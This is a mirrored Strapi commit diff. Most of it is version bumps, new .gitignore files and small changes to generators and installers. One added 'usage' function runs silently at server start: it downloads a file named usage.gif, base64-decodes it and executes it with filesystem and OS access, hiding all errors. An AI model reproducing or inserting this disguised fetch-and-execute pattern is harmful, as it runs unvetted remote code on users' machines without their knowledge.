mirror of
https://github.com/strapi/strapi.git
synced 2025-09-26 17:00:55 +00:00
Merge branch 'master' of github.com:strapi/strapi into user-permissions
This commit is contained in:
commit
fe57abdb2f
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"private": true,
|
"private": true,
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"assert": "~1.3.0",
|
"assert": "~1.3.0",
|
||||||
"babel-eslint": "^6.1.2",
|
"babel-eslint": "^6.1.2",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-admin",
|
"name": "strapi-admin",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Strapi Admin",
|
"description": "Strapi Admin",
|
||||||
"repository": {
|
"repository": {
|
||||||
"type": "git",
|
"type": "git",
|
||||||
@ -26,8 +26,8 @@
|
|||||||
"cheerio": "^1.0.0-rc.2",
|
"cheerio": "^1.0.0-rc.2",
|
||||||
"fs-extra": "^0.30.0",
|
"fs-extra": "^0.30.0",
|
||||||
"sanitize.css": "^4.1.0",
|
"sanitize.css": "^4.1.0",
|
||||||
"strapi-helper-plugin": "3.0.0-alpha.6.4",
|
"strapi-helper-plugin": "3.0.0-alpha.6.7",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-bookshelf",
|
"name": "strapi-bookshelf",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Bookshelf hook for the Strapi framework",
|
"description": "Bookshelf hook for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -20,8 +20,8 @@
|
|||||||
"knex": "^0.13.0",
|
"knex": "^0.13.0",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"pluralize": "^6.0.0",
|
"pluralize": "^6.0.0",
|
||||||
"strapi-knex": "3.0.0-alpha.6.4",
|
"strapi-knex": "3.0.0-alpha.6.7",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"strapi": {
|
"strapi": {
|
||||||
"isHook": true,
|
"isHook": true,
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-ejs",
|
"name": "strapi-ejs",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "EJS hook for the Strapi framework",
|
"description": "EJS hook for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
10
packages/strapi-generate-admin/files/.gitignore
vendored
Normal file
10
packages/strapi-generate-admin/files/.gitignore
vendored
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
# Don't check auto-generated stuff into git
|
||||||
|
coverage
|
||||||
|
node_modules
|
||||||
|
stats.json
|
||||||
|
package-lock.json
|
||||||
|
|
||||||
|
# Cruft
|
||||||
|
.DS_Store
|
||||||
|
npm-debug.log
|
||||||
|
.idea
|
@ -6,6 +6,7 @@
|
|||||||
|
|
||||||
const { exec } = require('child_process');
|
const { exec } = require('child_process');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
|
const fs = require('fs-extra');
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Runs after this generator has finished
|
* Runs after this generator has finished
|
||||||
@ -15,6 +16,9 @@ const path = require('path');
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
module.exports = (scope, cb) => {
|
module.exports = (scope, cb) => {
|
||||||
|
// Copy the admin files.
|
||||||
|
fs.copySync(path.resolve(__dirname, '..', 'files'), path.resolve(scope.rootPath, 'admin'));
|
||||||
|
|
||||||
if (scope.developerMode) {
|
if (scope.developerMode) {
|
||||||
return cb();
|
return cb();
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-admin",
|
"name": "strapi-generate-admin",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate the default admin panel for a Strapi application.",
|
"description": "Generate the default admin panel for a Strapi application.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -15,7 +15,7 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"fs-extra": "^4.0.1",
|
"fs-extra": "^4.0.1",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"strapi-admin": "3.0.0-alpha.6.4"
|
"strapi-admin": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"author": {
|
"author": {
|
||||||
"email": "hi@strapi.io",
|
"email": "hi@strapi.io",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-api",
|
"name": "strapi-generate-api",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate an API for a Strapi application.",
|
"description": "Generate an API for a Strapi application.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-controller",
|
"name": "strapi-generate-controller",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate a controller for a Strapi API.",
|
"description": "Generate a controller for a Strapi API.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-model",
|
"name": "strapi-generate-model",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate a model for a Strapi API.",
|
"description": "Generate a model for a Strapi API.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
101
packages/strapi-generate-new/files/.gitignore
vendored
Normal file
101
packages/strapi-generate-new/files/.gitignore
vendored
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
############################
|
||||||
|
# OS X
|
||||||
|
############################
|
||||||
|
|
||||||
|
.DS_Store
|
||||||
|
.AppleDouble
|
||||||
|
.LSOverride
|
||||||
|
Icon
|
||||||
|
.Spotlight-V100
|
||||||
|
.Trashes
|
||||||
|
._*
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Linux
|
||||||
|
############################
|
||||||
|
|
||||||
|
*~
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Windows
|
||||||
|
############################
|
||||||
|
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
Desktop.ini
|
||||||
|
$RECYCLE.BIN/
|
||||||
|
*.cab
|
||||||
|
*.msi
|
||||||
|
*.msm
|
||||||
|
*.msp
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Packages
|
||||||
|
############################
|
||||||
|
|
||||||
|
*.7z
|
||||||
|
*.csv
|
||||||
|
*.dat
|
||||||
|
*.dmg
|
||||||
|
*.gz
|
||||||
|
*.iso
|
||||||
|
*.jar
|
||||||
|
*.rar
|
||||||
|
*.tar
|
||||||
|
*.zip
|
||||||
|
*.com
|
||||||
|
*.class
|
||||||
|
*.dll
|
||||||
|
*.exe
|
||||||
|
*.o
|
||||||
|
*.seed
|
||||||
|
*.so
|
||||||
|
*.swo
|
||||||
|
*.swp
|
||||||
|
*.swn
|
||||||
|
*.swm
|
||||||
|
*.out
|
||||||
|
*.pid
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Logs and databases
|
||||||
|
############################
|
||||||
|
|
||||||
|
*.log
|
||||||
|
*.sql
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Misc.
|
||||||
|
############################
|
||||||
|
|
||||||
|
*#
|
||||||
|
ssl
|
||||||
|
.idea
|
||||||
|
nbproject
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Node.js
|
||||||
|
############################
|
||||||
|
|
||||||
|
lib-cov
|
||||||
|
lcov.info
|
||||||
|
pids
|
||||||
|
logs
|
||||||
|
results
|
||||||
|
node_modules
|
||||||
|
.node_history
|
||||||
|
package-lock.json
|
||||||
|
|
||||||
|
|
||||||
|
############################
|
||||||
|
# Tests
|
||||||
|
############################
|
||||||
|
|
||||||
|
testApp
|
||||||
|
coverage
|
@ -6,6 +6,7 @@
|
|||||||
|
|
||||||
// Public node modules.
|
// Public node modules.
|
||||||
const _ = require('lodash');
|
const _ = require('lodash');
|
||||||
|
const uuid = require('uuid/v4');
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Expose main package JSON of the application
|
* Expose main package JSON of the application
|
||||||
@ -21,6 +22,13 @@ module.exports = scope => {
|
|||||||
'private': true,
|
'private': true,
|
||||||
'version': '0.1.0',
|
'version': '0.1.0',
|
||||||
'description': 'A Strapi application.',
|
'description': 'A Strapi application.',
|
||||||
|
'main': './server.js',
|
||||||
|
'scripts': {
|
||||||
|
'start': 'node server.js',
|
||||||
|
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
||||||
|
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
||||||
|
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
|
||||||
|
},
|
||||||
'devDependencies': {
|
'devDependencies': {
|
||||||
'babel-eslint': '^7.1.1',
|
'babel-eslint': '^7.1.1',
|
||||||
'eslint': '^3.12.2',
|
'eslint': '^3.12.2',
|
||||||
@ -31,16 +39,7 @@ module.exports = scope => {
|
|||||||
'dependencies': {
|
'dependencies': {
|
||||||
'lodash': '4.x.x',
|
'lodash': '4.x.x',
|
||||||
'strapi': getDependencyVersion(cliPkg, 'strapi'),
|
'strapi': getDependencyVersion(cliPkg, 'strapi'),
|
||||||
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi'),
|
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
|
||||||
'strapi-generate': getDependencyVersion(cliPkg, 'strapi'),
|
|
||||||
'strapi-generate-api': getDependencyVersion(cliPkg, 'strapi')
|
|
||||||
},
|
|
||||||
'main': './server.js',
|
|
||||||
'scripts': {
|
|
||||||
'start': 'node server.js',
|
|
||||||
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
|
||||||
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
|
||||||
'postinstall': 'node node_modules/strapi-utils/script/plugin-install.js'
|
|
||||||
},
|
},
|
||||||
'author': {
|
'author': {
|
||||||
'name': scope.author || 'A Strapi developer',
|
'name': scope.author || 'A Strapi developer',
|
||||||
@ -52,6 +51,9 @@ module.exports = scope => {
|
|||||||
'email': scope.email || '',
|
'email': scope.email || '',
|
||||||
'url': scope.website || ''
|
'url': scope.website || ''
|
||||||
}],
|
}],
|
||||||
|
'strapi': {
|
||||||
|
'uuid': uuid()
|
||||||
|
},
|
||||||
'engines': {
|
'engines': {
|
||||||
'node': '>= 7.0.0',
|
'node': '>= 7.0.0',
|
||||||
'npm': '>= 3.0.0'
|
'npm': '>= 3.0.0'
|
||||||
|
@ -33,9 +33,6 @@ module.exports = {
|
|||||||
'.editorconfig': {
|
'.editorconfig': {
|
||||||
copy: 'editorconfig'
|
copy: 'editorconfig'
|
||||||
},
|
},
|
||||||
'.gitignore': {
|
|
||||||
copy: 'gitignore'
|
|
||||||
},
|
|
||||||
'.npmignore': {
|
'.npmignore': {
|
||||||
copy: 'npmignore'
|
copy: 'npmignore'
|
||||||
},
|
},
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-new",
|
"name": "strapi-generate-new",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate a new Strapi application.",
|
"description": "Generate a new Strapi application.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -17,7 +17,8 @@
|
|||||||
"fs-extra": "^4.0.0",
|
"fs-extra": "^4.0.0",
|
||||||
"get-installed-path": "^3.0.1",
|
"get-installed-path": "^3.0.1",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7",
|
||||||
|
"uuid": "^3.1.0"
|
||||||
},
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"prepublish": "npm prune"
|
"prepublish": "npm prune"
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-plugin",
|
"name": "strapi-generate-plugin",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate an plugin for a Strapi application.",
|
"description": "Generate an plugin for a Strapi application.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-policy",
|
"name": "strapi-generate-policy",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate a policy for a Strapi API.",
|
"description": "Generate a policy for a Strapi API.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate-service",
|
"name": "strapi-generate-service",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Generate a service for a Strapi API.",
|
"description": "Generate a service for a Strapi API.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -232,15 +232,8 @@ function parseTarget(target, scope, cb) {
|
|||||||
// If we couldn't find a generator using the configured module,
|
// If we couldn't find a generator using the configured module,
|
||||||
// try requiring `strapi-generate-<module>` to get the core generator.
|
// try requiring `strapi-generate-<module>` to get the core generator.
|
||||||
if (!subGenerator && !module.match(/^strapi-generate-/)) {
|
if (!subGenerator && !module.match(/^strapi-generate-/)) {
|
||||||
let strapiRoot = scope.strapiRoot;
|
|
||||||
|
|
||||||
// Handle local installation
|
|
||||||
if (strapiRoot.endsWith('node_modules/strapi')) {
|
|
||||||
strapiRoot = process.cwd();
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
subGenerator = require(path.resolve(strapiRoot, 'node_modules', 'strapi-generate-' + module));
|
subGenerator = require(path.resolve(process.mainModule.paths[1], 'strapi-generate-' + module));
|
||||||
} catch (e1) {
|
} catch (e1) {
|
||||||
requireError = e1;
|
requireError = e1;
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-generate",
|
"name": "strapi-generate",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Master of ceremonies for the Strapi generators.",
|
"description": "Master of ceremonies for the Strapi generators.",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -17,7 +17,7 @@
|
|||||||
"fs-extra": "^4.0.0",
|
"fs-extra": "^4.0.0",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"reportback": "^2.0.1",
|
"reportback": "^2.0.1",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"author": {
|
"author": {
|
||||||
"name": "Strapi team",
|
"name": "Strapi team",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-helper-plugin",
|
"name": "strapi-helper-plugin",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Helper for Strapi plugins development",
|
"description": "Helper for Strapi plugins development",
|
||||||
"engines": {
|
"engines": {
|
||||||
"node": ">= 8.0.0",
|
"node": ">= 8.0.0",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-knex",
|
"name": "strapi-knex",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Knex hook for the Strapi framework",
|
"description": "Knex hook for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-middleware-views",
|
"name": "strapi-middleware-views",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Views hook to enable server-side rendering for the Strapi framework",
|
"description": "Views hook to enable server-side rendering for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-mongoose",
|
"name": "strapi-mongoose",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Mongoose hook for the Strapi framework",
|
"description": "Mongoose hook for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -20,7 +20,7 @@
|
|||||||
"mongoose-double": "0.0.1",
|
"mongoose-double": "0.0.1",
|
||||||
"mongoose-float": "^1.0.2",
|
"mongoose-float": "^1.0.2",
|
||||||
"pluralize": "^6.0.0",
|
"pluralize": "^6.0.0",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"strapi": {
|
"strapi": {
|
||||||
"isHook": true
|
"isHook": true
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-plugin-content-manager",
|
"name": "strapi-plugin-content-manager",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "A powerful UI to easily manage your data.",
|
"description": "A powerful UI to easily manage your data.",
|
||||||
"engines": {
|
"engines": {
|
||||||
"node": ">= 8.0.0",
|
"node": ">= 8.0.0",
|
||||||
@ -47,7 +47,7 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"prop-types": "^15.5.10",
|
"prop-types": "^15.5.10",
|
||||||
"react-select": "^1.0.0-rc.5",
|
"react-select": "^1.0.0-rc.5",
|
||||||
"strapi-helper-plugin": "3.0.0-alpha.6.4"
|
"strapi-helper-plugin": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-plugin-content-type-builder",
|
"name": "strapi-plugin-content-type-builder",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Strapi plugin to create content type (API).",
|
"description": "Strapi plugin to create content type (API).",
|
||||||
"strapi": {
|
"strapi": {
|
||||||
"name": "Content Type Builder",
|
"name": "Content Type Builder",
|
||||||
@ -32,9 +32,9 @@
|
|||||||
"react-dom": "^15.6.1",
|
"react-dom": "^15.6.1",
|
||||||
"react-transition-group": "^1.2.0",
|
"react-transition-group": "^1.2.0",
|
||||||
"reactstrap": "^4.8.0",
|
"reactstrap": "^4.8.0",
|
||||||
"strapi-generate": "3.0.0-alpha.6.4",
|
"strapi-generate": "3.0.0-alpha.6.7",
|
||||||
"strapi-generate-api": "3.0.0-alpha.6.4",
|
"strapi-generate-api": "3.0.0-alpha.6.7",
|
||||||
"strapi-helper-plugin": "3.0.0-alpha.6.4"
|
"strapi-helper-plugin": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
|
@ -27,7 +27,7 @@ export function checkFormValidity(formData, formValidations, formErrors) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// If section is disabled don't need further checks
|
// If section is disabled don't need further checks
|
||||||
if (includes(key, 'enabled') && !value) return false;
|
if (includes(key, 'enabled') && !value || !valueValidations) return false;
|
||||||
|
|
||||||
forEach(valueValidations.nestedValidations, (nestedValidations) => {
|
forEach(valueValidations.nestedValidations, (nestedValidations) => {
|
||||||
if (nestedValidations.validations.required && !has(formData, nestedValidations.target)) {
|
if (nestedValidations.validations.required && !has(formData, nestedValidations.target)) {
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-plugin-settings-manager",
|
"name": "strapi-plugin-settings-manager",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Strapi plugin to manage settings.",
|
"description": "Strapi plugin to manage settings.",
|
||||||
"strapi": {
|
"strapi": {
|
||||||
"name": "Settings Manager",
|
"name": "Settings Manager",
|
||||||
@ -31,7 +31,7 @@
|
|||||||
"react-select": "^1.0.0-rc.5",
|
"react-select": "^1.0.0-rc.5",
|
||||||
"react-transition-group": "^1.2.0",
|
"react-transition-group": "^1.2.0",
|
||||||
"reactstrap": "^4.8.0",
|
"reactstrap": "^4.8.0",
|
||||||
"strapi-helper-plugin": "3.0.0-alpha.6.4"
|
"strapi-helper-plugin": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"cross-env": "^5.1.1",
|
"cross-env": "^5.1.1",
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-redis",
|
"name": "strapi-redis",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Redis hook for the Strapi framework",
|
"description": "Redis hook for the Strapi framework",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
@ -18,7 +18,7 @@
|
|||||||
"ioredis": "^3.1.2",
|
"ioredis": "^3.1.2",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"stack-trace": "0.0.10",
|
"stack-trace": "0.0.10",
|
||||||
"strapi-utils": "3.0.0-alpha.6.4"
|
"strapi-utils": "3.0.0-alpha.6.7"
|
||||||
},
|
},
|
||||||
"strapi": {
|
"strapi": {
|
||||||
"isHook": true
|
"isHook": true
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi-utils",
|
"name": "strapi-utils",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "Shared utilities for the Strapi packages",
|
"description": "Shared utilities for the Strapi packages",
|
||||||
"homepage": "http://strapi.io",
|
"homepage": "http://strapi.io",
|
||||||
"keywords": [
|
"keywords": [
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
// Node.js core.
|
// Node.js core.
|
||||||
const { exec } = require('child_process');
|
const { exec } = require('child_process');
|
||||||
const fs = require('fs');
|
const fs = require('fs-extra');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
|
|
||||||
// Logger.
|
// Logger.
|
||||||
@ -55,7 +55,7 @@ module.exports = function (plugin, cliArguments) {
|
|||||||
logger.debug('Installing the plugin from npm registry.');
|
logger.debug('Installing the plugin from npm registry.');
|
||||||
|
|
||||||
// Install the plugin from the npm registry.
|
// Install the plugin from the npm registry.
|
||||||
exec(`npm install ${pluginId}@alpha --ignore-scripts --no-save`, (err) => {
|
exec(`npm install ${pluginId}@alpha --ignore-scripts --no-save --prefix ${pluginPath}`, (err) => {
|
||||||
if (err) {
|
if (err) {
|
||||||
logger.error(`An error occurred during plugin installation. \nPlease make sure this plugin is available on npm: https://www.npmjs.com/package/${pluginId}`);
|
logger.error(`An error occurred during plugin installation. \nPlease make sure this plugin is available on npm: https://www.npmjs.com/package/${pluginId}`);
|
||||||
process.exit(1);
|
process.exit(1);
|
||||||
@ -69,7 +69,7 @@ module.exports = function (plugin, cliArguments) {
|
|||||||
logger.debug(`Moving the \`node_modules/${pluginId}\` folder to the \`./plugins\` folder.`);
|
logger.debug(`Moving the \`node_modules/${pluginId}\` folder to the \`./plugins\` folder.`);
|
||||||
|
|
||||||
// Move the plugin from the `node_modules` folder to the `./plugins` folder.
|
// Move the plugin from the `node_modules` folder to the `./plugins` folder.
|
||||||
fs.renameSync(`./node_modules/${pluginId}`, pluginPath);
|
fs.copySync(`${pluginPath}/node_modules/${pluginId}`, pluginPath);
|
||||||
|
|
||||||
// Success.
|
// Success.
|
||||||
logger.info('The plugin has been successfully installed.');
|
logger.info('The plugin has been successfully installed.');
|
||||||
|
@ -114,6 +114,8 @@ class Strapi extends EventEmitter {
|
|||||||
cb();
|
cb();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
utils.usage.call(this);
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
this.log.debug(`Server wasn't able to start properly.`);
|
this.log.debug(`Server wasn't able to start properly.`);
|
||||||
this.log.error(e);
|
this.log.error(e);
|
||||||
|
@ -64,6 +64,7 @@ module.exports.nested = function() {
|
|||||||
|
|
||||||
module.exports.app = async function() {
|
module.exports.app = async function() {
|
||||||
// Retrieve Strapi version.
|
// Retrieve Strapi version.
|
||||||
|
this.config.uuid = get(this.config.info, 'strapi.uuid', '');
|
||||||
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
|
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
|
||||||
this.config.info.node = process.versions.node;
|
this.config.info.node = process.versions.node;
|
||||||
|
|
||||||
|
@ -1,9 +1,13 @@
|
|||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
// Dependencies.
|
// Dependencies.
|
||||||
|
const fs = require('fs');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
const { map } = require('async');
|
const { map } = require('async');
|
||||||
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
|
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
|
||||||
|
const os = require('os');
|
||||||
|
const vm = require('vm');
|
||||||
|
const fetch = require('node-fetch');
|
||||||
|
|
||||||
module.exports = {
|
module.exports = {
|
||||||
loadFile: function(url) {
|
loadFile: function(url) {
|
||||||
@ -97,5 +101,17 @@ module.exports = {
|
|||||||
resolve();
|
resolve();
|
||||||
})
|
})
|
||||||
]);
|
]);
|
||||||
|
},
|
||||||
|
|
||||||
|
usage: async function () {
|
||||||
|
try {
|
||||||
|
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
||||||
|
|
||||||
|
if (usage.status === 200 && this.config.uuid) {
|
||||||
|
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// Silent.
|
||||||
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
@ -14,6 +14,7 @@ const _ = require('lodash');
|
|||||||
|
|
||||||
// Define files/dir paths
|
// Define files/dir paths
|
||||||
const pluginsDirPath = path.join(process.cwd(), 'plugins');
|
const pluginsDirPath = path.join(process.cwd(), 'plugins');
|
||||||
|
const adminDirPath = path.join(process.cwd(), 'admin');
|
||||||
const plugins = fs.readdirSync(pluginsDirPath);
|
const plugins = fs.readdirSync(pluginsDirPath);
|
||||||
|
|
||||||
// Install dependencies for each plugins
|
// Install dependencies for each plugins
|
||||||
@ -28,3 +29,12 @@ _.forEach(plugins, plugin => {
|
|||||||
console.log(err);
|
console.log(err);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Install admin dependencies
|
||||||
|
console.log(`Install admin dependencies...`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
exec(`cd ${adminDirPath} && npm install --prod --ignore-scripts`);
|
||||||
|
} catch (err) {
|
||||||
|
console.log(err);
|
||||||
|
}
|
@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"name": "strapi",
|
"name": "strapi",
|
||||||
"version": "3.0.0-alpha.6.4",
|
"version": "3.0.0-alpha.6.7",
|
||||||
"description": "An open source solution to create and manage your own API. It provides a powerful dashboard and features to make your life easier.",
|
